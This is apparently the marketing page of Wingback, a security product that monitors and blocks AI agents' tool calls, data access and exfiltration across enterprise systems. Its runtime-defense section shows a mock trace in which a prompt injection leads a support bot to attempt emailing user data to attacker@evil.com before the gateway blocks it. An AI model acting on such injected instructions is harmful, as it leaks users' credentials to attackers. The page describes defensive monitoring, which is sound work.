Agent Detection & Response across every layer of the enterprise stack.

See what your agents are doing. Stop what they shouldn't.

Programs & recognitions
How Wingback Sees Your AI

Three verticals.

Infrastructure
AI in your cloud & SaaS
Software
AI in your own products
Endpoints
AI on your laptops
Watch, trace, govern across the fleet.

Wingback watches every agent across Infrastructure, Software, and Endpoints — and surfaces exactly the one that's misbehaving. Watch the camera focus on each catch in turn.

Wide pan · continuous scan
Three verticals.
Continuous scan, every one.
INFRASTRUCTURE
SaaS · cloud · data stores
LIVE
SOFTWARE
IDEs · agents · MCP
LIVE
ENDPOINTS
browsers · devices
LIVE
CONTINUOUS SCAN · EVERY ONE
Tip · click any red dot for the full attack graph
INFRASTRUCTURE
SaaS · cloud · data stores
awaiting detection · scanning 142 agents
SOFTWARE
IDEs · agents · MCP
awaiting detection · scanning 87 agents
ENDPOINTS
browsers · devices
awaiting detection · scanning 41 agents

Forward-Deployed Security for Enterprise AI. Measurable Results from Day One

AI is moving fast. New agents, new tools, new MCP servers ship every week. Wingback brings the forward-deployed engineering model to AI security: our engineers embed with your team and customize integration to your exact stack, so coverage keeps pace as your AI footprint grows.

Custom Integration

Wired into your exact stack.

We integrate with your IdP, MCP servers, agent frameworks, and data stores — not generic plugins. Wingback adapts to your stack, not the other way around.

Tailored Detections

Detection logic shaped to your environment.

Playbooks written for your apps, your agents, your data — not boilerplate rules built for a different company's threat model.

Keep Pace with AI

New tool today? Covered today.

When your team adopts a new agent, MCP server, or model, Wingback wires it into your security posture within days — not quarters.

Embedded Engineers

AI security engineers on your team.

Direct Slack channel, hands-on tuning, joint incident response. Not a vendor portal — a teammate working in your environment.

Day-One Outcomes

Wins before the kickoff dust settles.

Visibility across every agent, blocked exfiltration attempts, and audit-ready evidence — landing in week one, not quarter four.

Continuous Adaptation

Evolves with your stack.

New threats, new tools, new compliance regs. Wingback's coverage updates continuously — driven by what we see across customers and what's specific to you.

What Wingback does, end to end.

Four pillars covering the agent lifecycle: discovery, inference security, runtime defense, and continuous governance.

agents · 47MCP servers · 18data · 12
live sync · just now
agents
mcp
data
support-botanalyticsinvoicedeploy-botgithubsnowflakestripek8sPIIfinprod
agents in scope
support-bot-v3
read247 calls
analytics-bot
read89 calls
invoice-agent
read+write34 calls
deploy-bot
prod-write12 calls
0104

Complete Inventory of the AI Stack

Auto-discover the agents, models, prompts, KBs, MCP servers, and datasets running across your enterprise.

Map identity, tool scope, and data lineage with live posture and drift telemetry, across cloud, SaaS, and code.

inference patht-9f2a · 47.2M tokens / wk
live · enforcing
pipeline
agent
sends prompt
Wingback gateway
✓ token policy · 4 PII redactions
inference
routed to OpenAI · gpt-5
Wingback egress
✕ exfil scan · 1 block
agent
receives response
model fleet
5 providers · all under policy
OpenAIgpt-54,824/s
Anthropicclaude-4-71,218/s
Googlegemini-2612/s
Mistralmixtral184/s
Customin-house-llm47/s
tokens / 24h
8.4M
redactions inline
312
egress blocks
12
0204

End-to-End Inference Security for the AI Factory

Token-level policy at the gateway, model provider, and inference path: OpenAI, Anthropic, Google, Mistral, custom.

Zero-trust egress for prompts and completions: redact, block, or quarantine inline.

trace t-9f2asession-2841agent: support-bot-v3
live
0.00suser"I forgot my password — can you email it to me?"
0.12ssupport-bot-v3fetched user.profile from postgres
0.24ssupport-bot-v3read user message · pattern scan
0.31swingback.injection-detectorprompt injection · score 0.94 · exfil intent
0.42ssupport-bot-v3attempted mcp/email.send → attacker@evil.com
0.50swingback.runtimeBLOCKED · policy POL-204 · 4 signals
time-to-detect
84 ms
signals matched
4 / 5
containment
complete
0304

Real-Time Detection, Response & Enforcement

Multi-signal correlation for injection, exfiltration, scope abuse, and tool-chain compromise, not pattern matching.

Inline block at the gateway plus session replay and chain-of-custody for fast incident response.

SOC 2ISO 27001ISO 42001NIST AI RMFEU AI Act
controls
10 pass · 2 warn
CC6.1
CC6.2
CC6.3
CC6.6
!CC6.7
CC7.1
CC7.2
CC7.3
CC7.4
CC8.1
!CC8.2
CC9.1
coverage
94%
latest evidence
CC6.1access controls
policy-grants.json
→ audit-2026-05-28
→ 2,847 entries
→ 2.4 MB · signed
last update3 min ago
✓ audit-ready
0404

Audit-Ready AI Compliance

Continuous control mapping with audit-ready evidence for agent workflows.

Coverage across SOC 2, ISO 27001, ISO 42001, NIST AI RMF, and EU AI Act, with one source of truth.

Supported Ecosystems

Aligned with leading AI security and governance frameworks.

iso42001
nistRmf
euAiAct
OWASP
TOP10
For Agentic Application
Frequently Asked

Questions, answered

Couldn't find your answer? Talk to our team →

AI moves too fast for off-the-shelf controls and quarterly engagements. New agents, new MCP servers, and new attack patterns appear every week. Forward-deployed security applies the forward-deployed engineer model to AI security: engineers embedded directly with your team, with detection and integration tuned to your actual stack. Slack channel, joint oncall, hands-on policy tuning, and new agents wired into your security posture in days rather than procurement cycles.
We control agent actions: tool/MCP calls, identity usage, and sensitive data access, both before and during execution. Not just what an agent says, but what it does.
No. Prompt analysis is one input. The bulk of our value is runtime behavior control: which tools an agent calls, which identities it assumes, which data it touches. We focus on actions, not text alone.
All major agent frameworks (LangChain, CrewAI, AutoGen, OpenAI Agents), plus MCP servers, hosted models (OpenAI, Anthropic, Google, Mistral), IDE assistants (Claude Code, Cursor, Copilot), and custom agents via our SDK.
Yes. We catch injection through multi-signal correlation (pattern detection, exfil intent, scope violations, behavioral drift), not just text matching. Most attacks ride downstream actions; that's what we block.
We trace chain-of-custody across every delegation and tool call, so a multi-step workflow bridging three agents still has a single auditable thread. Privilege escalation in handoffs is a first-class detection.
Both. Monitor-only mode for discovery and tuning; enforce mode to block policy violations in real time. Most teams start with monitor, then promote rules to enforce as confidence builds.
Lightweight SDKs for major frameworks, API gateways for LLM providers, an MCP gateway proxy, and cloud connectors for discovery. The forward-deployed team wires it to your exact stack, including in-house frameworks.
Visibility lands in days, not quarters. Most teams have inventory and monitor-mode running in under a week, with enforcement live on the highest-risk paths in week two or three.
Yes. Native integrations with Splunk, Datadog, Snowflake, Chronicle, and standard SIEM webhooks. Every event ships structured so it slots into your existing detection-and-response pipeline.
We maintain a continuously updated model and MCP intelligence registry covering security scores, capability profiles, known vulnerabilities, and scope risks. The policy engine gates which models and MCP servers your agents can use, and under what conditions.

Customer data stays in your environment. Wingback's data plane deploys in three modes: (1) managed SaaS in our AWS regions (us-east-1, us-west-2, eu-west-1; APAC on request), (2) dedicated single-tenant in your hyperscaler of choice (AWS, GCP, or Azure), or (3) self-hosted in your own VPC via Helm chart.

In all modes, sensitive payloads stay inside your network boundary. The Wingback control plane receives only structured metadata, traces, and policy events; raw prompts, completions, and tool outputs are inspected inline and either dropped, redacted, or retained per your policy. Encryption-at-rest uses customer-managed KMS keys for self-hosted and dedicated deployments; managed SaaS uses per-tenant CMKs. Retention is configurable from 7 days to 7 years with tamper-evident audit trails.

Wingback is SOC 2 Type II certified, ISO 27001 certification in progress, and ISO 42001-mapped. DPAs and right-to-audit clauses are standard in our enterprise agreements.

Ready to lock down your agents?

Join our design partner program — deploy Wingback in a real workflow and shape the roadmap with our forward-deployed engineers. Prefer to read first? Get the one-pager →

Product Dashboard Screenshot